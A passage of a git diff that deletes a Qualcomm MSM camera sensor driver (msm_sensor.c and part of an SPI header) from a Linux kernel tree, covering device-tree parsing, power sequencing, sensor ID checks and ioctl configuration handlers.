msm_camera_i2c_data_type data_type); - -int32_t msm_camera_spi_read_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte); - -int32_t msm_camera_spi_read_seq_l(struct msm_camera_i2c_client *client, - uint32_t addr, uint32_t num_byte, char *tx, char *rx); - -int32_t msm_camera_spi_query_id(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte); - -#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c deleted file mode 100644 index 9360946caa296..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/msm_sensor.c +++ /dev/null @@ -1,1451 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#include -#include "msm_sensor.h" -#include "msm_sd.h" -#include "camera.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" -#include "msm_camera_i2c_mux.h" -#include -#include -#include - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static void msm_sensor_adjust_mclk(struct msm_camera_power_ctrl_t *ctrl) -{ - int idx; - struct msm_sensor_power_setting *power_setting; - for (idx = 0; idx < ctrl->power_setting_size; idx++) { - power_setting = &ctrl->power_setting[idx]; - if (power_setting->seq_type == SENSOR_CLK && - power_setting->seq_val == SENSOR_CAM_MCLK) { - if (power_setting->config_val == 24000000) { - power_setting->config_val = 23880000; - CDBG("%s MCLK request adjusted to 23.88MHz\n" - , __func__); - } - break; - } - } - - return; -} - -static int32_t msm_camera_get_power_settimgs_from_sensor_lib( - struct msm_camera_power_ctrl_t *power_info, - struct msm_sensor_power_setting_array *power_setting_array) -{ - int32_t rc = 0; - uint32_t size; - struct msm_sensor_power_setting *ps; - bool need_reverse = 0; - - if ((NULL == power_info->power_setting) || - (0 == power_info->power_setting_size)) { - - ps = power_setting_array->power_setting; - size = power_setting_array->size; - if ((NULL == ps) || (0 == size)) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -EINVAL; - goto FAILED_1; - } - - power_info->power_setting = - kzalloc(sizeof(*ps) * size, GFP_KERNEL); - if (!power_info->power_setting) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto FAILED_1; - } - memcpy(power_info->power_setting, - power_setting_array->power_setting, - sizeof(*ps) * size); - power_info->power_setting_size = size; - } - - ps = power_setting_array->power_down_setting; - size = power_setting_array->size_down; - if (NULL == ps || 0 == size) { - ps = power_info->power_setting; - size = power_info->power_setting_size; - need_reverse = 1; - } - - power_info->power_down_setting = - kzalloc(sizeof(*ps) * size, GFP_KERNEL); - if (!power_info->power_down_setting) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_UP; - } - memcpy(power_info->power_down_setting, - ps, - sizeof(*ps) * size); - power_info->power_down_setting_size = size; - - if (need_reverse) { - int c, end = size - 1; - struct msm_sensor_power_setting power_down_setting_t; - for (c = 0; c < size/2; c++) { - power_down_setting_t = - power_info->power_down_setting[c]; - power_info->power_down_setting[c] = - power_info->power_down_setting[end]; - power_info->power_down_setting[end] = - power_down_setting_t; - end--; - } - } - - return 0; -FREE_UP: - kfree(power_info->power_setting); -FAILED_1: - return rc; -} - -static int32_t msm_sensor_get_dt_data(struct device_node *of_node, - struct msm_sensor_ctrl_t *s_ctrl) -{ - int32_t rc = 0, i = 0, ret = 0; - struct msm_camera_gpio_conf *gconf = NULL; - struct msm_camera_sensor_board_info *sensordata = NULL; - uint16_t *gpio_array = NULL; - uint16_t gpio_array_size = 0; - uint32_t id_info[3]; - - s_ctrl->sensordata = kzalloc(sizeof( - struct msm_camera_sensor_board_info), - GFP_KERNEL); - if (!s_ctrl->sensordata) { - pr_err("%s failed %d\n", __func__, __LINE__); - return -ENOMEM; - } - - sensordata = s_ctrl->sensordata; - - rc = of_property_read_string(of_node, "qcom,sensor-name", - &sensordata->sensor_name); - CDBG("%s qcom,sensor-name %s, rc %d\n", __func__, - sensordata->sensor_name, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_SENSORDATA; - } - - rc = of_property_read_u32(of_node, "qcom,cci-master", - &s_ctrl->cci_i2c_master); - CDBG("%s qcom,cci-master %d, rc %d\n", __func__, s_ctrl->cci_i2c_master, - rc); - if (rc < 0) { - /* Set default master 0 */ - s_ctrl->cci_i2c_master = MASTER_0; - rc = 0; - } - - rc = msm_sensor_get_sub_module_index(of_node, &sensordata->sensor_info); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_SENSORDATA; - } - - /* Get sensor mount angle */ - if (0 > of_property_read_u32(of_node, "qcom,mount-angle", - &sensordata->sensor_info->sensor_mount_angle)) { - /* Invalidate mount angle flag */ - CDBG("%s:%d Default sensor mount angle\n", - __func__, __LINE__); - sensordata->sensor_info->is_mount_angle_valid = 0; - sensordata->sensor_info->sensor_mount_angle = 0; - } else { - sensordata->sensor_info->is_mount_angle_valid = 1; - } - CDBG("%s qcom,mount-angle %d\n", __func__, - sensordata->sensor_info->sensor_mount_angle); - if (0 > of_property_read_u32(of_node, "qcom,sensor-position", - &sensordata->sensor_info->position)) { - CDBG("%s:%d Default sensor position\n", __func__, __LINE__); - sensordata->sensor_info->position = 0; - } - CDBG("%s qcom,sensor-position %d\n", __func__, - sensordata->sensor_info->position); - if (0 > of_property_read_u32(of_node, "qcom,sensor-mode", - &sensordata->sensor_info->modes_supported)) { - CDBG("%s:%d Default sensor mode\n", __func__, __LINE__); - sensordata->sensor_info->modes_supported = 0; - } - CDBG("%s qcom,sensor-mode %d\n", __func__, - sensordata->sensor_info->modes_supported); - - s_ctrl->set_mclk_23880000 = of_property_read_bool(of_node, - "qcom,mclk-23880000"); - - CDBG("%s qcom,mclk-23880000 %d\n", __func__, - s_ctrl->set_mclk_23880000); - - rc = msm_sensor_get_dt_csi_data(of_node, &sensordata->csi_lane_params); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_SENSOR_INFO; - } - - rc = msm_camera_get_dt_vreg_data(of_node, - &sensordata->power_info.cam_vreg, - &sensordata->power_info.num_vreg); - if (rc < 0) - goto FREE_CSI; - - rc = msm_camera_get_dt_power_setting_data(of_node, - sensordata->power_info.cam_vreg, - sensordata->power_info.num_vreg, - &sensordata->power_info); - - - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_VREG; - } - - - rc = msm_camera_get_power_settimgs_from_sensor_lib( - &sensordata->power_info, - &s_ctrl->power_setting_array); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_VREG; - } - - sensordata->power_info.gpio_conf = kzalloc( - sizeof(struct msm_camera_gpio_conf), GFP_KERNEL); - if (!sensordata->power_info.gpio_conf) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto FREE_PS; - } - gconf = sensordata->power_info.gpio_conf; - - gpio_array_size = of_gpio_count(of_node); - CDBG("%s gpio count %d\n", __func__, gpio_array_size); - - if (gpio_array_size) { - gpio_array = kzalloc(sizeof(uint16_t) * gpio_array_size, - GFP_KERNEL); - if (!gpio_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_GPIO_CONF; - } - for (i = 0; i < gpio_array_size; i++) { - gpio_array[i] = of_get_gpio(of_node, i); - CDBG("%s gpio_array[%d] = %d\n", __func__, i, - gpio_array[i]); - } - - rc = msm_camera_get_dt_gpio_req_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_GPIO_CONF; - } - - rc = msm_camera_get_dt_gpio_set_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_GPIO_REQ_TBL; - } - - rc = msm_camera_init_gpio_pin_tbl(of_node, gconf, - gpio_array, gpio_array_size); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_GPIO_SET_TBL; - } - } - rc = msm_sensor_get_dt_actuator_data(of_node, - &sensordata->actuator_info); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_GPIO_PIN_TBL; - } - - sensordata->slave_info = kzalloc(sizeof(struct msm_camera_slave_info), - GFP_KERNEL); - if (!sensordata->slave_info) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto FREE_ACTUATOR_INFO; - } - - rc = of_property_read_u32_array(of_node, "qcom,slave-id", - id_info, 3); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto FREE_SLAVE_INFO; - } - - sensordata->slave_info->sensor_slave_addr = id_info[0]; - sensordata->slave_info->sensor_id_reg_addr = id_info[1]; - sensordata->slave_info->sensor_id = id_info[2]; - CDBG("%s:%d slave addr 0x%x sensor reg 0x%x id 0x%x\n", - __func__, __LINE__, - sensordata->slave_info->sensor_slave_addr, - sensordata->slave_info->sensor_id_reg_addr, - sensordata->slave_info->sensor_id); - - /*Optional property, don't return error if absent */ - ret = of_property_read_string(of_node, "qcom,vdd-cx-name", - &sensordata->misc_regulator); - CDBG("%s qcom,misc_regulator %s, rc %d\n", __func__, - sensordata->misc_regulator, ret); - - kfree(gpio_array); - - return rc; - -FREE_SLAVE_INFO: - kfree(s_ctrl->sensordata->slave_info); -FREE_ACTUATOR_INFO: - kfree(s_ctrl->sensordata->actuator_info); -FREE_GPIO_PIN_TBL: - kfree(s_ctrl->sensordata->power_info.gpio_conf->gpio_num_info); -FREE_GPIO_SET_TBL: - kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_set_tbl); -FREE_GPIO_REQ_TBL: - kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_req_tbl); -FREE_GPIO_CONF: - kfree(s_ctrl->sensordata->power_info.gpio_conf); -FREE_PS: - kfree(s_ctrl->sensordata->power_info.power_setting); - kfree(s_ctrl->sensordata->power_info.power_down_setting); -FREE_VREG: - kfree(s_ctrl->sensordata->power_info.cam_vreg); -FREE_CSI: - kfree(s_ctrl->sensordata->csi_lane_params); -FREE_SENSOR_INFO: - kfree(s_ctrl->sensordata->sensor_info); -FREE_SENSORDATA: - kfree(s_ctrl->sensordata); - kfree(gpio_array); - return rc; -} - -static void msm_sensor_misc_regulator( - struct msm_sensor_ctrl_t *sctrl, uint32_t enable) -{ - int32_t rc = 0; - if (enable) { - sctrl->misc_regulator = (void *)rpm_regulator_get( - &sctrl->pdev->dev, sctrl->sensordata->misc_regulator); - if (sctrl->misc_regulator) { - rc = rpm_regulator_set_mode(sctrl->misc_regulator, - RPM_REGULATOR_MODE_HPM); - if (rc < 0) { - pr_err("%s: Failed to set for rpm regulator on %s: %d\n", - __func__, - sctrl->sensordata->misc_regulator, rc); - rpm_regulator_put(sctrl->misc_regulator); - } - } else { - pr_err("%s: Failed to vote for rpm regulator on %s: %d\n", - __func__, - sctrl->sensordata->misc_regulator, rc); - } - } else { - if (sctrl->misc_regulator) { - rc = rpm_regulator_set_mode( - (struct rpm_regulator *)sctrl->misc_regulator, - RPM_REGULATOR_MODE_AUTO); - if (rc < 0) - pr_err("%s: Failed to set for rpm regulator on %s: %d\n", - __func__, - sctrl->sensordata->misc_regulator, rc); - rpm_regulator_put(sctrl->misc_regulator); - } - } -} - -int32_t msm_sensor_free_sensor_data(struct msm_sensor_ctrl_t *s_ctrl) -{ - if (!s_ctrl->pdev && !s_ctrl->sensor_i2c_client->client) - return 0; - kfree(s_ctrl->sensordata->slave_info); - kfree(s_ctrl->sensordata->cam_slave_info); - kfree(s_ctrl->sensordata->actuator_info); - kfree(s_ctrl->sensordata->power_info.gpio_conf->gpio_num_info); - kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_set_tbl); - kfree(s_ctrl->sensordata->power_info.gpio_conf->cam_gpio_req_tbl); - kfree(s_ctrl->sensordata->power_info.gpio_conf); - kfree(s_ctrl->sensordata->power_info.cam_vreg); - kfree(s_ctrl->sensordata->power_info.power_setting); - kfree(s_ctrl->sensordata->csi_lane_params); - kfree(s_ctrl->sensordata->sensor_info); - kfree(s_ctrl->sensordata->power_info.clk_info); - kfree(s_ctrl->sensordata); - return 0; -} - -static struct msm_cam_clk_info cam_8960_clk_info[] = { - [SENSOR_CAM_MCLK] = {"cam_clk", 24000000}, -}; - -static struct msm_cam_clk_info cam_8610_clk_info[] = { - [SENSOR_CAM_MCLK] = {"cam_src_clk", 24000000}, - [SENSOR_CAM_CLK] = {"cam_clk", 0}, -}; - -static struct msm_cam_clk_info cam_8974_clk_info[] = { - [SENSOR_CAM_MCLK] = {"cam_src_clk", 24000000}, - [SENSOR_CAM_CLK] = {"cam_clk", 0}, -}; - -int msm_sensor_power_down(struct msm_sensor_ctrl_t *s_ctrl) -{ - struct msm_camera_power_ctrl_t *power_info; - enum msm_camera_device_type_t sensor_device_type; - struct msm_camera_i2c_client *sensor_i2c_client; - - if (!s_ctrl) { - pr_err("%s:%d failed: s_ctrl %p\n", - __func__, __LINE__, s_ctrl); - return -EINVAL; - } - - power_info = &s_ctrl->sensordata->power_info; - sensor_device_type = s_ctrl->sensor_device_type; - sensor_i2c_client = s_ctrl->sensor_i2c_client; - - if (!power_info || !sensor_i2c_client) { - pr_err("%s:%d failed: power_info %p sensor_i2c_client %p\n", - __func__, __LINE__, power_info, sensor_i2c_client); - return -EINVAL; - } - return msm_camera_power_down(power_info, sensor_device_type, - sensor_i2c_client); -} - -int msm_sensor_power_up(struct msm_sensor_ctrl_t *s_ctrl) -{ - int rc; - struct msm_camera_power_ctrl_t *power_info; - struct msm_camera_i2c_client *sensor_i2c_client; - struct msm_camera_slave_info *slave_info; - const char *sensor_name; - uint32_t retry = 0; - - if (!s_ctrl) { - pr_err("%s:%d failed: %p\n", - __func__, __LINE__, s_ctrl); - return -EINVAL; - } - - power_info = &s_ctrl->sensordata->power_info; - sensor_i2c_client = s_ctrl->sensor_i2c_client; - slave_info = s_ctrl->sensordata->slave_info; - sensor_name = s_ctrl->sensordata->sensor_name; - - if (!power_info || !sensor_i2c_client || !slave_info || - !sensor_name) { - pr_err("%s:%d failed: %p %p %p %p\n", - __func__, __LINE__, power_info, - sensor_i2c_client, slave_info, sensor_name); - return -EINVAL; - } - - if (s_ctrl->set_mclk_23880000) - msm_sensor_adjust_mclk(power_info); - - for (retry = 0; retry < 3; retry++) { - rc = msm_camera_power_up(power_info, s_ctrl->sensor_device_type, - sensor_i2c_client); - if (rc < 0) - return rc; - rc = msm_sensor_check_id(s_ctrl); - if (rc < 0) { - msm_camera_power_down(power_info, - s_ctrl->sensor_device_type, sensor_i2c_client); - msleep(20); - continue; - } else { - break; - } - } - - return rc; -} - -int msm_sensor_match_id(struct msm_sensor_ctrl_t *s_ctrl) -{ - int rc = 0; - uint16_t chipid = 0; - struct msm_camera_i2c_client *sensor_i2c_client; - struct msm_camera_slave_info *slave_info; - const char *sensor_name; - - if (!s_ctrl) { - pr_err("%s:%d failed: %p\n", - __func__, __LINE__, s_ctrl); - return -EINVAL; - } - sensor_i2c_client = s_ctrl->sensor_i2c_client; - slave_info = s_ctrl->sensordata->slave_info; - sensor_name = s_ctrl->sensordata->sensor_name; - - if (!sensor_i2c_client || !slave_info || !sensor_name) { - pr_err("%s:%d failed: %p %p %p\n", - __func__, __LINE__, sensor_i2c_client, slave_info, - sensor_name); - return -EINVAL; - } - - rc = sensor_i2c_client->i2c_func_tbl->i2c_read( - sensor_i2c_client, slave_info->sensor_id_reg_addr, - &chipid, MSM_CAMERA_I2C_WORD_DATA); - if (rc < 0) { - pr_err("%s: %s: read id failed\n", __func__, sensor_name); - return rc; - } - - CDBG("%s: read id: 0x%x expected id 0x%x:\n", __func__, chipid, - slave_info->sensor_id); - if (chipid != slave_info->sensor_id) { - pr_err("msm_sensor_match_id chip id doesnot match\n"); - return -ENODEV; - } - return rc; -} - -static struct msm_sensor_ctrl_t *get_sctrl(struct v4l2_subdev *sd) -{ - return container_of(container_of(sd, struct msm_sd_subdev, sd), - struct msm_sensor_ctrl_t, msm_sd); -} - -static void msm_sensor_stop_stream(struct msm_sensor_ctrl_t *s_ctrl) -{ - mutex_lock(s_ctrl->msm_sensor_mutex); - if (s_ctrl->sensor_state == MSM_SENSOR_POWER_UP) { - s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &s_ctrl->stop_setting); - kfree(s_ctrl->stop_setting.reg_setting); - s_ctrl->stop_setting.reg_setting = NULL; - } - mutex_unlock(s_ctrl->msm_sensor_mutex); - return; -} - -static int msm_sensor_get_af_status(struct msm_sensor_ctrl_t *s_ctrl, - void __user *argp) -{ - /* TO-DO: Need to set AF status register address and expected value - We need to check the AF status in the sensor register and - set the status in the *status variable accordingly*/ - return 0; -} - -static long msm_sensor_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct msm_sensor_ctrl_t *s_ctrl = get_sctrl(sd); - void __user *argp = (void __user *)arg; - if (!s_ctrl) { - pr_err("%s s_ctrl NULL\n", __func__); - return -EBADF; - } - switch (cmd) { - case VIDIOC_MSM_SENSOR_CFG: - return s_ctrl->func_tbl->sensor_config(s_ctrl, argp); - case VIDIOC_MSM_SENSOR_GET_AF_STATUS: - return msm_sensor_get_af_status(s_ctrl, argp); - case VIDIOC_MSM_SENSOR_RELEASE: - msm_sensor_stop_stream(s_ctrl); - return 0; - case MSM_SD_SHUTDOWN: - return 0; - default: - return -ENOIOCTLCMD; - } -} - -int msm_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, void __user *argp) -{ - struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; - int32_t rc = 0; - int32_t i = 0; - mutex_lock(s_ctrl->msm_sensor_mutex); - CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, - s_ctrl->sensordata->sensor_name, cdata->cfgtype); - switch (cdata->cfgtype) { - case CFG_GET_SENSOR_INFO: - memcpy(cdata->cfg.sensor_info.sensor_name, - s_ctrl->sensordata->sensor_name, - sizeof(cdata->cfg.sensor_info.sensor_name)); - cdata->cfg.sensor_info.session_id = - s_ctrl->sensordata->sensor_info->session_id; - for (i = 0; i < SUB_MODULE_MAX; i++) - cdata->cfg.sensor_info.subdev_id[i] = - s_ctrl->sensordata->sensor_info->subdev_id[i]; - cdata->cfg.sensor_info.is_mount_angle_valid = - s_ctrl->sensordata->sensor_info->is_mount_angle_valid; - cdata->cfg.sensor_info.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - cdata->cfg.sensor_info.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_info.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - CDBG("%s:%d sensor name %s\n", __func__, __LINE__, - cdata->cfg.sensor_info.sensor_name); - CDBG("%s:%d session id %d\n", __func__, __LINE__, - cdata->cfg.sensor_info.session_id); - for (i = 0; i < SUB_MODULE_MAX; i++) - CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, - cdata->cfg.sensor_info.subdev_id[i]); - CDBG("%s:%d mount angle valid %d value %d\n", __func__, - __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, - cdata->cfg.sensor_info.sensor_mount_angle); - - break; - case CFG_GET_SENSOR_INIT_PARAMS: - cdata->cfg.sensor_init_params.modes_supported = - s_ctrl->sensordata->sensor_info->modes_supported; - cdata->cfg.sensor_init_params.position = - s_ctrl->sensordata->sensor_info->position; - cdata->cfg.sensor_init_params.sensor_mount_angle = - s_ctrl->sensordata->sensor_info->sensor_mount_angle; - CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, - __LINE__, - cdata->cfg.sensor_init_params.modes_supported, - cdata->cfg.sensor_init_params.position, - cdata->cfg.sensor_init_params.sensor_mount_angle); - break; - case CFG_SET_SLAVE_INFO: { - struct msm_camera_sensor_slave_info sensor_slave_info; - struct msm_camera_power_ctrl_t *p_ctrl; - uint16_t size; - int s_index = 0; - if (copy_from_user(&sensor_slave_info, - (void *)cdata->cfg.setting, - sizeof(sensor_slave_info))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - /* Update sensor slave address */ - if (sensor_slave_info.slave_addr) { - s_ctrl->sensor_i2c_client->cci_client->sid = - sensor_slave_info.slave_addr >> 1; - } - - /* Update sensor address type */ - s_ctrl->sensor_i2c_client->addr_type = - sensor_slave_info.addr_type; - p_ctrl = &s_ctrl->sensordata->power_info; - - /* Update power up sequence */ - size = sensor_slave_info.power_setting_array.size; - if (p_ctrl->power_setting_size < size) { - struct msm_sensor_power_setting *tmp; - tmp = kmalloc(sizeof(*tmp) * size, GFP_KERNEL); - if (!tmp) { - pr_err("%s: failed to alloc mem\n", __func__); - rc = -ENOMEM; - break; - } - kfree(p_ctrl->power_setting); - p_ctrl->power_setting = tmp; - } - p_ctrl->power_setting_size = size; - - - rc = copy_from_user(p_ctrl->power_setting, (void *) - sensor_slave_info.power_setting_array.power_setting, - size * sizeof(struct msm_sensor_power_setting)); - if (rc) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(sensor_slave_info.power_setting_array. - power_setting); - rc = -EFAULT; - break; - } - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.slave_addr); - CDBG("%s sensor addr type %d\n", __func__, - sensor_slave_info.addr_type); - CDBG("%s sensor reg 0x%x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id_reg_addr); - CDBG("%s sensor id 0x%x\n", __func__, - sensor_slave_info.sensor_id_info.sensor_id); - for (s_index = 0; s_index < - p_ctrl->power_setting_size; s_index++) { - CDBG("%s i %d power up setting %d %d %ld %d\n", - __func__, - s_index, - p_ctrl->power_setting[s_index].seq_type, - p_ctrl->power_setting[s_index].seq_val, - p_ctrl->power_setting[s_index].config_val, - p_ctrl->power_setting[s_index].delay); - } - - /* Update power down sequence */ - if (!sensor_slave_info.power_setting_array.power_down_setting || - 0 == size) { - pr_err("%s: Missing dedicated power down sequence\n", - __func__); - break; - } - size = sensor_slave_info.power_setting_array.size_down; - - if (p_ctrl->power_down_setting_size < size) { - struct msm_sensor_power_setting *tmp; - tmp = kmalloc(sizeof(*tmp) * size, GFP_KERNEL); - if (!tmp) { - pr_err("%s: failed to alloc mem\n", __func__); - rc = -ENOMEM; - break; - } - kfree(p_ctrl->power_down_setting); - p_ctrl->power_down_setting = tmp; - } - p_ctrl->power_down_setting_size = size; - - - rc = copy_from_user(p_ctrl->power_down_setting, (void *) - sensor_slave_info.power_setting_array. - power_down_setting, - size * sizeof(struct msm_sensor_power_setting)); - if (rc) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(sensor_slave_info.power_setting_array. - power_down_setting); - rc = -EFAULT; - break; - } - for (s_index = 0; s_index < - p_ctrl->power_down_setting_size; s_index++) { - CDBG("%s i %d power DOWN setting %d %d %ld %d\n", - __func__, - s_index, - p_ctrl->power_down_setting[s_index].seq_type, - p_ctrl->power_down_setting[s_index].seq_val, - p_ctrl->power_down_setting[s_index].config_val, - p_ctrl->power_down_setting[s_index].delay); - } - - break; - } - case CFG_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_reg_setting conf_array; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - - if (s_ctrl->sensor_state != MSM_SENSOR_POWER_UP) { - pr_err("%s:%d failed: invalid state %d\n", __func__, - __LINE__, s_ctrl->sensor_state); - rc = -EFAULT; - break; - } - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - if (!conf_array.size) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - reg_setting = kzalloc(conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, - conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - - conf_array.reg_setting = reg_setting; - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &conf_array); - kfree(reg_setting); - break; - } - case CFG_SLAVE_READ_I2C: { - struct msm_camera_i2c_read_config read_config; - uint16_t local_data = 0; - uint16_t orig_slave_addr = 0, read_slave_addr = 0; - if (copy_from_user(&read_config, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_read_config))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - read_slave_addr = read_config.slave_addr; - CDBG("%s:CFG_SLAVE_READ_I2C:", __func__); - CDBG("%s:slave_addr=0x%x reg_addr=0x%x, data_type=%d\n", - __func__, read_config.slave_addr, - read_config.reg_addr, read_config.data_type); - if (s_ctrl->sensor_i2c_client->cci_client) { - orig_slave_addr = - s_ctrl->sensor_i2c_client->cci_client->sid; - s_ctrl->sensor_i2c_client->cci_client->sid = - read_slave_addr >> 1; - } else if (s_ctrl->sensor_i2c_client->client) { - orig_slave_addr = - s_ctrl->sensor_i2c_client->client->addr; - s_ctrl->sensor_i2c_client->client->addr = - read_slave_addr >> 1; - } else { - pr_err("%s: error: no i2c/cci client found.", __func__); - rc = -EFAULT; - break; - } - CDBG("%s:orig_slave_addr=0x%x, new_slave_addr=0x%x", - __func__, orig_slave_addr, - read_slave_addr >> 1); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_read( - s_ctrl->sensor_i2c_client, - read_config.reg_addr, - &local_data, read_config.data_type); - if (rc < 0) { - pr_err("%s:%d: i2c_read failed\n", __func__, __LINE__); - break; - } - if (copy_to_user((void __user *)read_config.data, - (void *)&local_data, sizeof(uint16_t))) { - pr_err("%s:%d copy failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - break; - } - case CFG_SLAVE_WRITE_I2C_ARRAY: { - struct msm_camera_i2c_array_write_config write_config; - struct msm_camera_i2c_reg_array *reg_setting = NULL; - uint16_t write_slave_addr = 0; - uint16_t orig_slave_addr = 0; - - if (copy_from_user(&write_config, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_array_write_config))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - CDBG("%s:CFG_SLAVE_WRITE_I2C_ARRAY:", __func__); - CDBG("%s:slave_addr=0x%x, array_size=%d\n", __func__, - write_config.slave_addr, - write_config.conf_array.size); - - if (!write_config.conf_array.size) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - reg_setting = kzalloc(write_config.conf_array.size * - (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); - if (!reg_setting) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -ENOMEM; - break; - } - if (copy_from_user(reg_setting, - (void *)(write_config.conf_array.reg_setting), - write_config.conf_array.size * - sizeof(struct msm_camera_i2c_reg_array))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - write_config.conf_array.reg_setting = reg_setting; - write_slave_addr = write_config.slave_addr; - if (s_ctrl->sensor_i2c_client->cci_client) { - orig_slave_addr = - s_ctrl->sensor_i2c_client->cci_client->sid; - s_ctrl->sensor_i2c_client->cci_client->sid = - write_slave_addr >> 1; - } else if (s_ctrl->sensor_i2c_client->client) { - orig_slave_addr = - s_ctrl->sensor_i2c_client->client->addr; - s_ctrl->sensor_i2c_client->client->addr = - write_slave_addr >> 1; - } else { - pr_err("%s: error: no i2c/cci client found.", __func__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - CDBG("%s:orig_slave_addr=0x%x, new_slave_addr=0x%x", - __func__, orig_slave_addr, - write_slave_addr >> 1); - rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( - s_ctrl->sensor_i2c_client, &(write_config.conf_array)); - if (s_ctrl->sensor_i2c_client->cci_client) { - s_ctrl->sensor_i2c_client->cci_client->sid = - orig_slave_addr; - } else if (s_ctrl->sensor_i2c_client->client) { - s_ctrl->sensor_i2c_client->client->addr = - orig_slave_addr; - } else { - pr_err("%s: error: no i2c/cci client found.", __func__); - kfree(reg_setting); - rc = -EFAULT; - break; - } - kfree(reg_setting); - break; - } - case CFG_WRITE_I2C_SEQ_ARRAY: { - struct msm_camera_i2c_seq_reg_setting conf_array; - struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; - - if (s_ctrl->sensor_state != MSM_SENSOR_POWER_UP) { - pr_err("%s:%d failed: invalid state %d\n", __func__, - __LINE__, s_ctrl->sensor_state); - rc = -EFAULT; - break; - } - - if (copy_from_user(&conf_array, - (void *)cdata->cfg.setting, - sizeof(struct msm_camera_i2c_seq_reg_setting))) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - - if (!conf_array.size) { - pr_err("%s:%d failed\n", __func__, __LINE__); - rc = -EFAULT; - break; - } - reg_setting 